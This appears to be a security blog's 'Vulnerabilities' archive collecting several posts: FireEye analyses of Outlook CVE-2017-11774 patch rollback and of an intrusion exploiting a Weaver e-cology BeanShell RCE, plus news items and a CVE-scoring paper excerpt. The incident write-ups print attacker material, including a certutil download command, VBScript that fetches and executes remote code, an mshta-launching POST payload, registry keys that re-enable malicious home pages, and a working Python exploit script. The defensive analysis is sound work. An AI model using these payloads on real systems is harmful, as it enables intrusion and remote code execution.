Category Archives: Vulnerabilities

Election Machine Insecurity Story

Interesting story of a flawed computer voting machine and a paper ballot available for recount. All ended well, but only because of that paper backup.

Vote totals in a Northampton County judge's race showed one candidate, Abe Kassis, a Democrat, had just 164 votes out of 55,000 ballots across more than 100 precincts. Some machines reported zero votes for him. In a county with the ability to vote for a straight-party ticket, one candidate's zero votes was a near statistical impossibility. Something had gone quite wrong.

Boing Boing post.

Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774)

Attackers have a dirty little secret that is being used to conduct big intrusions. We’ll explain how they're "unpatching" an exploit and then provide new Outlook hardening guidance that is not available elsewhere. Specifically, this blog post covers field-tested automated registry processing for registry keys to protect against attacker attempts to reverse Microsoft’s CVE-2017-11774 patch functionality.

Despite multiple warnings from FireEye and U.S. Cyber Command, we have continued to observe an uptick in successful exploitation of CVE-2017-11774, a client-side Outlook attack that involves modifying victims’ Outlook client homepages for code execution and persistence. The Outlook Home Page feature allows for customization of the default view for any folder in Outlook. This configuration can allow for a specific URL to be loaded and displayed whenever a folder is opened. This URL is retrieved either via HTTP or HTTPS - and can reference either an internal or external network location. When Outlook loads the remote URL, it will render the contents using the Windows DLL ieframe.dll, which can allow an attacker to achieve remote code execution that persists through system restarts.

We have observed multiple threat actors adopting the technique and eventually becoming a favorite for Iranian groups in support of both espionage and reportedly destructive attacks. FireEye first observed APT34 use CVE-2017-11774 in June 2018, followed by adoption by APT33 for a significantly broader campaign beginning in July 2018 and continuing for at least a year. To further increase awareness of this intrusion vector, our Advanced Practices team worked with MITRE to update the ATT&CK framework to include CVE-2017-11774 home page persistence within technique T1137 – “Office Application Startup”.

For more information on how CVE-2017-11774 exploitation works, how APT33 implemented it alongside password spraying, and some common pitfalls for incident responders analyzing this home page technique, see the “RULER In-The-Wild” section of our December 2018 OVERRULED blog post.

Going Through a Rough Patch

On October 10, 2017, Microsoft released patches for Microsoft Outlook to protect against this technique.

  • KB4011196 (Outlook 2010)
  • KB4011178 (Outlook 2013)
  • KB4011162 (Outlook 2016)

Following the mid-2018 abuse by Iranian threat actors first detailed in our OVERRULED blog post, the FireEye Mandiant team began to raise awareness of how the patch could be subverted. Doug Bienstock discussed in December 2018 that the simple roll back of the patch as a part of Mandiant’s Red Team operations – and alluded to observing authorized software that also automatically removes the patch functionality. In response to U.S. Cyber Command’s mid-2019 warning about APT33’s use of the exploit, we raised concern with DarkReading over the ability to override the CVE-2017-11774 patch without escalated privileges.

Without continuous reinforcement of the recommended registry settings for CVE-2017-11774 hardening detailed within this blog post, an attacker can add or revert registry keys for settings that essentially disable the protections provided by the patches.

An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys. The “URL” subkey will enable and set a home page for the specified mail folder within the default mailbox. Setting this registry key to a valid URL enables the home page regardless of the patch being applied or not. Although the option will not be accessible from the Outlook user interface (UI), it will still be set and render. Importantly, these keys are set within the logged-on user’s Registry hive. This means that no special privileges are required to edit the Registry and roll back the patch. The FireEye Red Team found that no other registry modifications were required to set a malicious Outlook homepage.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\ Outlook\WebView\Inbox
“URL”= http://badsite/homepage-persist.html

There are additional keys within the Registry that can be modified to further roll back the patch and expose unsafe options in Outlook. The following setting can be used to re-enable the original home page tab and roaming home page behavior in the Outlook UI.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“EnableRoamingFolderHomepages”= dword:00000001

The following setting will allow for folders within secondary (non-default) mailboxes to leverage a custom home page.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“NonDefaultStoreScript"= dword:00000001

The following setting will allow for “Run as a Script” and “Start Application” rules to be re-enabled.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“EnableUnsafeClientMailRules"= dword:00000001

Etienne Stalmans, a developer of SensePost’s RULER and the credited responsible discloser of CVE-2017-11774, chimed in about similar concerns on the patch that were re-raised after seeing a September 2018 blog post about applying the same technique to Outlook Today’s home page that is stored at HKCU\Software\Microsoft\Office\<Outlook Version>\Outlook\Today\UserDefinedUrl. Both Etienne and the September 2018 blog post’s author describe what Microsoft has suggested as a key mitigating factor – that the exploit and rolling back the patch require some form of initial access. This is consistent with Microsoft’s position and their 2007 immutable laws of security blog, which were reiterated when we contacted MSRC prior to publishing this blog post.

We agree that for the CVE-2017-11774 patch override vector to be successful, a bad guy has to persuade you to run his program (law #1) and alter your operating system (law #2). However, the technique is under-reported, no public mitigation guidance is available, and – as a fresh in-the-wild example demonstrates in this post – that initial access and patch overriding can be completely automated.

A Cavalier Handling of CVE-2017-11774

The Advanced Practices team monitors for novel implementations of attacker techniques including this patch override, and on November 23, 2019 a uniquely automated phishing document was uploaded to VirusTotal. The sample, “TARA Pipeline.xlsm” (MD5: ddbc153e4e63f7b8b6f7aa10a8fad514), launches malicious Excel macros combining several techniques, including:

  • execution guardrails to only launch on the victim domain (client redacted in screenshot)
  • custom pipe-delimited character substitution obfuscation
  • a creative implementation of CVE-2017-11774 using the lesser-known HKCU\Software\Microsoft\Office\<Outlook Version>\Outlook\WebView\Calendar\URL registry key
  • a URL pointing to the payload hosted in Azure storage blobs (*.web.core.windows.net) – a creative technique that allows an attacker-controlled, swappable payload to be hosted in a legitimate service
  • and most importantly for this blog post – a function to walk through the registry and reverse the CVE-2017-11774 patch functionality for any version of Microsoft Outlook

These features of the malicious spear phishing Excel macro can be seen in Figure 1.


Figure 1: Malicious macros automatically reverting the CVE-2017-11774 patch

Pay special attention to the forced setting of EnableRoamingFolderHomepages to “1” and the setup of “Calendar\URL” key to point to an attacker-controlled payload, effectively disabling the CVE-2017-11774 patch on initial infection.

In support of Managed Defense, our Advanced Practices team clusters and tactically attributes targeted threat activity – whether the intrusion operators turn out to be authorized or unauthorized – in order to prioritize and deconflict intrusions. In this case, Nick Carr attributed this sample to an uncategorized cluster of activity associated with authorized red teaming, UNC1194 , but you might know them better as the TrustedSec red team whose founder, Dave Kennedy, appeared on a previous episode of State of the Hack. This malicious Excel file appears to be a weaponized version of a legitimate victim-created document that we also obtained – reflecting a technique becoming more common with both authorized and unauthorized intrusion operators. For further analysis and screenshots of UNC1194’s next stage CVE-2017-11774 payload for initial reconnaissance, target logging visibility checks, and domain-fronted Azure command and control – see here. Readers should take note that the automated patch removal and home page exploitation establishes attacker-controlled remote code execution and allows these [thankfully authorized] attackers to conduct a full intrusion by swapping out their payload remotely for all follow-on activity.

Locking Down the Registry Keys Using Group Policy Object (GPO) Enforcement

As established, the patches for CVE-2017-11774 can be effectively “disabled” by modifying registry keys on an endpoint with no special privileges. The following registry keys and values should be configured via Group Policy to reinforce the recommended configurations in the event that an attacker attempts to reverse the intended security configuration on an endpoint to allow for Outlook home page persistence for malicious purposes.

To protect against an attacker using Outlook’s WebView functionality to configure home page persistence, the following registry key configuration should be enforced.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\WebView
"Disable"= dword:00000001

Note: Prior to enforcing this hardening method for all endpoints, the previous setting should be tested on a sampling of endpoints to ensure compatibility with third-party applications that may leverage webviews.

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Webview
        • Value Name: Disable
      • Value Type: REG_DWORD
      • Value Data: 00000001


Figure 2: Disabling WebView registry setting

Included within the Microsoft Office Administrative Templates, a GPO setting is available which can be configured to disable a home page URL from being set in folder properties for all default folders, or for each folder individually.  If set to “Enabled”, the following GPO setting essentially enforces the same registry configuration (disabling WebView) as previously noted.

User Configuration > Policies > Administrative Templates > Microsoft Outlook <version> > Folder Home Pages for Outlook Special Folders > Do not allow Home Page URL to be set in folder Properties

The registry key configuration to disable setting an Outlook home page via the Outlook UI is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
"EnableRoamingFolderHomepages"= dword:00000000

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: EnableRoamingFolderHomepages
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 3: EnableRoamingFolderHomepages registry setting

Additionally, a home page in Outlook can be configured for folders in a non-default datastore. This functionality is disabled once the patch has been installed, but it can be re-enabled by an attacker. Just like this blog post’s illustration of several different home page URL registry keys abused in-the-wild – including the Outlook Today setting from September 2018 and the Calendar URL setting from UNC1194’s November 2019 malicious macros – these non-default mailstores provide additional CVE-2017-11774 attack surface.

The registry key configuration to enforce the recommended registry configuration is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
"NonDefaultStoreScript"= dword:00000000

To enforce the expected hardened configuration of the registry key for non-default mailstores using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: NonDefaultStoreScript
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 4: NonDefaultStoreScript registry setting

Included within the previously referenced Microsoft Office Administrative Templates, a GPO setting is available which can be configured to not allow folders in non-default stores to be set as folder home pages.

User Configuration > Policies > Administrative Templates > Microsoft Outlook <version> > Outlook Options > Other > Advanced > Do not allow folders in non-default stores to be set as folder home pages

While you’re locking things down, we thought that readers would also want to ensure they are locked down against RULER’s other modules for rules-based persistence and forms-based persistence. This last recommendation ensures that the rule types required by the other RULER modules are no longer permissible on an endpoint. While not CVE-2017-11774, this is closely related and this last setting is consistent with Microsoft’s prior guidance on rules and forms persistence.

The registry key configuration to protect against an attacker re-enabling “Run as a Script” and “Start Application” rules is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security\
"EnableUnsafeClientMailRules"= dword:00000000

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: EnableUnsafeClientMailRules
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 5: EnableUnsafeClientMailRules registry setting

Once all of aforementioned endpoint policies are configured – we recommend a final step to protect these settings from unauthorized tampering. To ensure that the registry settings (configured via GPO) are continuously assessed and applied to an endpoint – even if the registry value was intentionally reversed by an attacker – the following GPO settings should also be configured and enforced:

  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure security policy processing
    • Enabled - Process even if the Group Policy objects have not changed
  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure registry policy processing
    • Enabled - Process even if the Group Policy objects have not changed


Figure 6: Group Policy processing settings

For more environment hardening advice informed by front-line incident response, reach out to our Mandiant Security Transformation Services consulting team.

Let’s Go Hunt (doo doo doo)

With this blog post, we’re providing an IOC for monitoring CVE-2017-11774 registry tampering – while written for FireEye Endpoint Security (HX) in the OpenIOC 1.1 schema, this is a flexible behavioral detection standard that supports real-time and historical events and the logic can be repurposed for other endpoint products.

The Yara hunting rule provided by Nick Carr at the end the OVERRULED blog post still captures payloads using CVE-2017-11774, including all of those used in intrusions referenced in this post, and can also be used to proactively identify home page exploits staged on adversary infrastructure. Further FireEye product detection against CVE-2017-11774 is also covered in the OVERRULED blog post.

If you’ve read the OVERRULED post (or are tired of hearing about it) but want some additional information, we recommend:

Interesting MITRE ATT&CK techniques explicitly referenced in this blog post:

ID

Technique

Context

T1137

Office Application Startup

Nick Carr contributed CVE-2017-11774 on behalf of FireEye for expansion of this technique

T1480

Execution Guardrails

Nick Carr contributed this new technique to MITRE ATT&CK and it is used within the UNC1194 red team sample in this blog post

Acknowledgements

The authors would like to acknowledge all of those at FireEye and the rest of the security industry who have combatted targeted attackers leveraging creative techniques like home page persistence, but especially the analysts in Managed Defense SOC working around the clock to secure our customers and have disrupted this specific attack chain several times. We want to thank the SensePost team – for their continued creativity, responsible disclosure of CVE-2017-11774, and their defensive-minded release of NotRuler – as well as the TrustedSec crew for showing us some innovative implementations of these techniques and being great to coordinate with on this blog post. Lastly, thanks to Aristotle who has already offered what can only be interpreted as seasoned incident response and hardening advice for those who have seen RULER’s home page persistence in-the-wild: “He who is to be a good ruler must have first been ruled.”

DHS Mandates Federal Agencies to Run Vulnerability Disclosure Policy

The DHS is requiring all federal agencies to develop a vulnerability disclosure policy. The goal is that people who discover vulnerabilities in government systems have a mechanism for reporting them to someone who might actually do something about it.

The devil is in the details, of course, but this is a welcome development.

The DHS is seeking public feedback.

ThreatList: Admin Rights for Third Parties is the Norm

The majority give outside partners, contractors and suppliers administrative access -- without strong security policies in place.

D-Link Adds More Buggy Router Models to ‘Won’t Fix’ List

The list of routers that have critical RCE bugs, that have reached end of life and that won’t get fixed has grown.

Security Vulnerabilities in Android Firmware

Researchers have discovered and revealed 146 vulnerabilities in various incarnations of Android smartphone firmware. The vulnerabilities were found by scanning the phones of 29 different Android makers, and each is unique to a particular phone or maker. They were found using automatic tools, and it is extremely likely that many of the vulnerabilities are not exploitable -- making them bugs but not security concerns. There is no indication that any of these vulnerabilities were put there on purpose, although it is reasonable to assume that other organizations do this same sort of scanning and use the findings for attack. And since they're firmware bugs, in many cases there is no ability to patch them.

I see this as yet another demonstration of how hard supply chain security is.

News article.

CertUtil Qualms: They Came to Drop FOMBs

This blog post covers an interesting intrusion attempt that FireEye Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". 

FOMBs AWAY!

Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file .

Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar

Options

Description 

-urlcache 

Display or delete URL cache entries

-split 

Split embedded ASN.1 elements, and save to files

 

-f 

Force overwrite

(Source: Microsoft certutil page)

FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.

Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).


Figure 1: Proposed use of MOF files for red and blue teams

We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:

On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. 

Uncovering the Exploit

The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

'-` 2886000` 10.10.10.10` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload.

String it to Weaver

Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 
   'Accept-Language': 'zh-CN,zh;q=0.9', 
   'Content-Type': 'application/x-www-form-urlencoded'
}   

  

def exploit(url,cmd): 
   target=url+'/weaver/bsh.servlet.BshServlet' 
   payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd) 
   res=requests.post(url=target,data=payload,headers=headers,timeout=10) 
   res.encoding=res.apparent_encoding 
   print(res.text)   

if __name__ == '__main__': 
   url=sys.argv[1] 
   while(1): 
       cmd=input('cmd:') 
       exploit(url,cmd)   

The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable.

Conclusion

This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.

There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about FireEye Managed Defense here.

Weaver Build Timeline

  • 2019-09-20: Weaver Patch released
  • 2019-09-20: Exploit observed in Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China

References

A New Playground for Cybercrime: Why Supply Chain Security Must Cover Software Development

Most organisations see supply chains as providers of physical goods and services. The supply chain management function in these companies usually provides the governance framework to reduce third-party risks and prevent hackers from stealing data, disrupting daily operations and affecting business continuity. But there’s another crucial part of this ecosystem which some organisations may be overlooking: the software supply chain.

Software is the lifeblood of the modern enterprise, so it’s vital that IT security teams gain visibility and control of the code that flows through their organisation, before it becomes a major cyber risk.

Software is eating the world

It’s now eight years since Netscape co-founder and entrepreneur Marc Andreesen wrote the highly influential article Why Software is Eating the World. In the intervening time, digital transformation has, if anything, made application development even more important to business success. There aren’t many organisations on the planet today who aren’t using such capabilities to respond to ever-evolving customer demand for unfettered access to innovative services and products, across multiple devices.

Yet here’s where the problems start: to gain a competitive edge, developers will often use openly shared code and libraries to quickly embed functionality without having to re-invent the wheel. Unfortunately, security is too often an afterthought, with little or no consideration given to the potential threat of using these shared repositories.

Under the radar

The software supply chain therefore opens up a useful threat vector via which cyber-criminals can infiltrate organisations. These attacks are not actually a new phenomenon — in fact, they’ve been around for years. They usually involve compromise of the original software via malicious tampering of its source code, its update server, or in some cases, both. The intention is always the same: to get into the network or host of a targeted entity as quietly as possible.

Very rarely do organisations think about extending the secure supply chain framework to either in-house or external application software providers and developers. That leaves a potentially major gap in protection that the bad guys are primed to exploit.

The most common attack methods include the injection of malicious code into source code for native or interpreted/just-in-time compilation-based languages such as C/++, Java, and .NET. Earlier this year three malicious Python libraries were uploaded to the official Python Package Index (PyPI) containing a hidden backdoor which would activate when the libraries were installed on Linux systems.

The three packages — named libpeshnx, libpesh, and libari — were authored by the same user, and had been available for download from PyPI for almost 20 months before being discovered by security researchers from ReversingLabs.

Securing the software supply chain

The good news is that there are a few simple steps that can be taken to mitigate these risks and ensure clean software development and build environments.

Maintaining and cross-validating the integrity of source code and all compiler libraries and binaries are good starting points. The use of third-party libraries and code must be vetted and scanned for any malicious indicators prior to integration and deployment.

Proper network segmentation is also essential for separating critical assets in the build and distribution (update server) environments from the rest of the network. Also key is the enforcement of strict access controls, with multi-factor authentication (MFA) applied to any release build servers and endpoints. Of course, these steps do not excuse the developers themselves from the responsibility of continuously monitoring the security of their systems.

Teaming up for success

Trend Micro has had capabilities to secure containers for some time; via image scanning service Smart Check and runtime protection built into Deep Security. But we understand that teaming up with third-party security providers can also be useful for our customers. That’s why we recently announced a partnership with Snyk, a developer-first open source security vendor. This deal, over two years in the making, is the result of a technology-focused mutual respect between the two firms which will result in unrivaled end-to-end container security capabilities.

As part of the agreement, Trend Micro will identify vulnerabilities at build time with SmartCheck as well as providing shields in runtime via intrusion prevention (IPS) and network firewall capabilities. Meanwhile, Snyk will fix flaws at source through developer workflows, engagement, and automated remediation.

The result is that organisation’s software supply chains can be enhanced rather than hindered by security. Teams working flat out at secure continuous delivery will be able to provide a launchpad for digital success, rather than exposing the organisation to unnecessary extra cyber-related risk.

The post A New Playground for Cybercrime: Why Supply Chain Security Must Cover Software Development appeared first on .

Showing Vulnerability to a Machine: Automated Prioritization of Software Vulnerabilities

Introduction

If a software vulnerability can be detected and remedied, then a potential intrusion is prevented. While not all software vulnerabilities are known, 86 percent of vulnerabilities leading to a data breach were patchable, though there is some risk of inadvertent damage when applying software patches. When new vulnerabilities are identified they are published in the Common Vulnerabilities and Exposures (CVE) dictionary by vulnerability databases, such as the National Vulnerability Database (NVD).

The Common Vulnerabilities Scoring System (CVSS) provides a metric for prioritization that is meant to capture the potential severity of a vulnerability. However, it has been criticized for a lack of timeliness, vulnerable population representation, normalization, rescoring and broader expert consensus that can lead to disagreements. For example, some of the worst exploits have been assigned low CVSS scores. Additionally, CVSS does not measure the vulnerable population size, which many practitioners have stated they expect it to score. The design of the current CVSS system leads to too many severe vulnerabilities, which causes user fatigue. ­

To provide a more timely and broad approach, we use machine learning to analyze users’ opinions about the severity of vulnerabilities by examining relevant tweets. The model predicts whether users believe a vulnerability is likely to affect a large number of people, or if the vulnerability is less dangerous and unlikely to be exploited. The predictions from our model are then used to score vulnerabilities faster than traditional approaches, like CVSS, while providing a different method for measuring severity, which better reflects real-world impact.

Our work uses nowcasting to address this important gap of prioritizing early-stage CVEs to know if they are urgent or not. Nowcasting is the economic discipline of determining a trend or a trend reversal objectively in real time. In this case, we are recognizing the value of linking social media responses to the release of a CVE after it is released, but before it is scored by CVSS. Scores of CVEs should ideally be available as soon as possible after the CVE is released, while the current process often hampers prioritization of triage events and ultimately slows response to severe vulnerabilities. This crowdsourced approach reflects numerous practitioner observations about the size and widespread nature of the vulnerable population, as shown in Figure 1. For example, in the Mirai botnet incident in 2017 a massive number of vulnerable IoT devices were compromised leading to the largest Denial of Service (DoS) attack on the internet at the time.


Figure 1: Tweet showing social commentary on a vulnerability that reflects severity

Model Overview

Figure 2 illustrates the overall process that starts with analyzing the content of a tweet and concludes with two forecasting evaluations. First, we run Named Entity Recognition (NER) on tweet contents to extract named entities. Second, we use two classifiers to test the relevancy and severity towards the pre-identified entities. Finally, we match the relevant and severe tweets to the corresponding CVE.


Figure 2: Process overview of the steps in our CVE score forecasting

Each tweet is associated to CVEs by inspecting URLs or the contents hosted at a URL. Specifically, we link a CVE to a tweet if it contains a CVE number in the message body, or if the URL content contains a CVE. Each tweet must be associated with a single CVE and must be classified as relevant to security-related topics to be scored. The first forecasting task considers how well our model can predict the CVSS rankings ahead of time. The second task is predicting future exploitation of the vulnerability for a CVE based on Symantec Antivirus Signatures and Exploit DB. The rationale is that eventual presence in these lists indicates not just that exploits can exist or that they do exist, but that they also are publicly available.

Modeling Approach

Predicting the CVSS scores and exploitability from Twitter data involves multiple steps. First, we need to find appropriate representations (or features) for our natural language to be processed by machine learning models. In this work, we use two natural language processing methods in natural language processing for extracting features from text: (1) N-grams features, and (2) Word embeddings. Second, we use these features to predict if the tweet is relevant to the cyber security field using a classification model. Third, we use these features to predict if the relevant tweets are making strong statements indicative of severity. Finally, we match the severe and relevant tweets up to the corresponding CVE.

